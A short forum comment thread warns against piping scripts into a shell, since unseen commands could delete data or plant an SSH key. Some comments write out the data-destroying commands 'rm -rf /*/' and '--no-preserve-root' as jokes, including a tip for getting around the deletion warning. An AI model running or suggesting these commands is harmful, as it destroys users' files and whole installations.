    Why "Don't pipe into sh"? It doesn't handle shit well?

    @oscarascal sh/bash/zsh/fish/ whatever shell you use
    If you don't understand a command 100%, don't run it -> in this case, piping into a shell means you're not seeing what's being run until it's too late. I could be doing rm -rf (like the rant), or adding my ssh key to your computer, or any other number of malicious things

    You should've used rm -rf /*/, that wax you circumvent the warning message and get the same results

    @McSebi my original version of it had --no-preserve-root, but I removed that to make it shorter and neater.
    Good tip though! Thanks? I'm not sure if wiping installations is worth a thanks 😂
